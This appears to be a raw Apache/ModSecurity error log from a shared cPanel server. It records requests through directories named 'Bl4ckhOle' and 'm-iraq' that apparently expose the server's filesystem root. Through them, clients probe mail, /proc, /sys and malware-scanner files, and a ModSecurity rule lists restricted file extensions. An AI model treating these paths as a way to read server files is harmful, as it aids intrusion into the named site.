[Fri Jul 17 09:09:36.781470 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:36.878838 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:40.608668 2026] [security2:error] [pid 2013829:tid 2013829] [client 185.191.171.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/anandaob/mail/anandaobauae.org/contact/dovecot-uidvalidity"] [unique_id "almj_A7FYe46zHK_jL3R7QAAABk"]
[Fri Jul 17 09:09:40.608705 2026] [security2:error] [pid 2013829:tid 2013829] [client 185.191.171.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/anandaob/mail/anandaobauae.org/contact/dovecot-uidvalidity"] [unique_id "almj_A7FYe46zHK_jL3R7QAAABk"]
[Fri Jul 17 09:09:47.679694 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkA1CBpfuYyhJ140vU0QAAAB4"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:09:47.679728 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkA1CBpfuYyhJ140vU0QAAAB4"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:09:48.279007 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:48.575641 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:48.637656 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:48.942612 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:48.973470 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:49.160395 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:49.262220 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 47.82.52.200:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:07.0/firmware_node/physical_node/subsystem/uevent
[Fri Jul 17 09:09:49.367525 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:49.425625 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:49.431360 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:49.481293 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:49.493025 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:49.519914 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:49.761081 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:50.802763 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:50.812640 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:51.014634 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:51.054181 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:51.411199 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:51.608520 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:51.646890 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:51.682496 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:51.691988 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:51.711217 2026] [core:error] [pid 2013809:tid 2013809] (13)Permission denied: [client 47.82.55.167:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/dev/char/13:32/device/device/drvctl
[Fri Jul 17 09:09:51.774843 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:51.802970 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:51.909667 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:52.982169 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:53.078257 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:53.133180 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:53.174145 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:53.265986 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:53.749933 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:53.785452 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:53.859556 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:53.910699 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:53.949153 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:54.007496 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:54.075119 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:54.075391 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:56.240369 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:49982] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:56.522836 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:50012] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:57.485129 2026] [autoindex:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1035/
[Fri Jul 17 09:09:57.592509 2026] [autoindex:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1098/
[Fri Jul 17 09:09:57.711232 2026] [autoindex:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1095/
[Fri Jul 17 09:09:57.832205 2026] [autoindex:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1047/
[Fri Jul 17 09:09:57.932540 2026] [autoindex:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1067/
[Fri Jul 17 09:09:57.964276 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 57.141.18.55:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory111/node0/memory101/node0/memory89/node0/memory88/subsystem/uevent
[Fri Jul 17 09:09:58.032368 2026] [autoindex:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1093/
[Fri Jul 17 09:09:58.134031 2026] [autoindex:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1087/
[Fri Jul 17 09:09:58.235341 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:58.337727 2026] [autoindex:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1040/
[Fri Jul 17 09:09:58.437309 2026] [autoindex:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1037/
[Fri Jul 17 09:09:58.539122 2026] [autoindex:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1090/
[Fri Jul 17 09:09:58.638193 2026] [autoindex:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1010/
[Fri Jul 17 09:09:58.741421 2026] [autoindex:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1041/
[Fri Jul 17 09:09:58.844177 2026] [autoindex:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1071/
[Fri Jul 17 09:09:58.947204 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:58.973153 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:58.985815 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:59.455889 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:50154] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:00.246974 2026] [security2:error] [pid 2036488:tid 2036488] [client 125.166.16.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/vdeploy-global": Permission denied [hostname "v-deploy.com"] [uri "/xmlrpc.php"] [unique_id "almkD7EKozcCJ-ReuK0E3QAAAAg"]
[Fri Jul 17 09:10:00.247015 2026] [security2:error] [pid 2036488:tid 2036488] [client 125.166.16.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/vdeploy-ip": Permission denied [hostname "v-deploy.com"] [uri "/xmlrpc.php"] [unique_id "almkD7EKozcCJ-ReuK0E3QAAAAg"]
[Fri Jul 17 09:10:00.659797 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:50232] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:01.786628 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:54998] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:02.529824 2026] [autoindex:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1065/
[Fri Jul 17 09:10:02.585885 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:02.622263 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/procu2.db"] [unique_id "almkErEWOaI5pmYo9fnQ0wAAAAA"]
[Fri Jul 17 09:10:02.622883 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/procu2.db"] [unique_id "almkErEWOaI5pmYo9fnQ0wAAAAA"]
[Fri Jul 17 09:10:02.623895 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/procu2.db"] [unique_id "almkErEWOaI5pmYo9fnQ0wAAAAA"]
[Fri Jul 17 09:10:02.790826 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1/aibolit/ai-bolit-hoster-full.cache.db"] [unique_id "almkErEKozcCJ-ReuK0E3gAAAAg"]
[Fri Jul 17 09:10:02.791316 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1/aibolit/ai-bolit-hoster-full.cache.db"] [unique_id "almkErEKozcCJ-ReuK0E3gAAAAg"]
[Fri Jul 17 09:10:02.912995 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:03.213809 2026] [autoindex:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1005/
[Fri Jul 17 09:10:05.468516 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1/aibolit/ai-bolit-hoster-full.cache.db"] [unique_id "almkErEKozcCJ-ReuK0E3gAAAAg"]
[Fri Jul 17 09:10:05.528468 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:55160] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:05.647722 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/mds-procu2.db"] [unique_id "almkFV1_86A5R6msWNfWeAAAABI"]
[Fri Jul 17 09:10:05.648437 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/mds-procu2.db"] [unique_id "almkFV1_86A5R6msWNfWeAAAABI"]
[Fri Jul 17 09:10:05.649151 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/mds-procu2.db"] [unique_id "almkFV1_86A5R6msWNfWeAAAABI"]
[Fri Jul 17 09:10:05.859222 2026] [autoindex:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1003/
[Fri Jul 17 09:10:06.063160 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:07.089268 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:07.306457 2026] [security2:error] [pid 2031172:tid 2031172] [client 45.33.80.243:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almkF-jME1mgqYZ5O94oXQAAAAE"]
[Fri Jul 17 09:10:07.421193 2026] [security2:error] [pid 2028246:tid 2028246] [client 45.33.80.243:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almkFzsMb3am0TgkjETc-QAAAAo"], referer: https://66.85.158.91/
[Fri Jul 17 09:10:07.812128 2026] [cgi:error] [pid 2028246:tid 2028246] [client 45.33.80.243:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden, referer: https://66.85.158.91/
[Fri Jul 17 09:10:07.812232 2026] [cgi:error] [pid 2028246:tid 2028246] [client 45.33.80.243:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157., referer: https://66.85.158.91/
[Fri Jul 17 09:10:08.086252 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:08.947905 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:10.173784 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/var/lve/snapshots/1009/1783527322.snapshot"] [unique_id "almkGol9vhFBGA6D8l98EwAAAAw"]
[Fri Jul 17 09:10:10.173821 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/var/lve/snapshots/1009/1783527322.snapshot"] [unique_id "almkGol9vhFBGA6D8l98EwAAAAw"]
[Fri Jul 17 09:10:10.651440 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 57.141.18.70:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory120/subsystem/devices/memory66/subsystem/devices/memory21/subsystem/uevent
[Fri Jul 17 09:10:10.699218 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:11.148944 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:55410] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:15.474814 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:16.123878 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:50004] AH02013: coalesce failed to read from data bucket
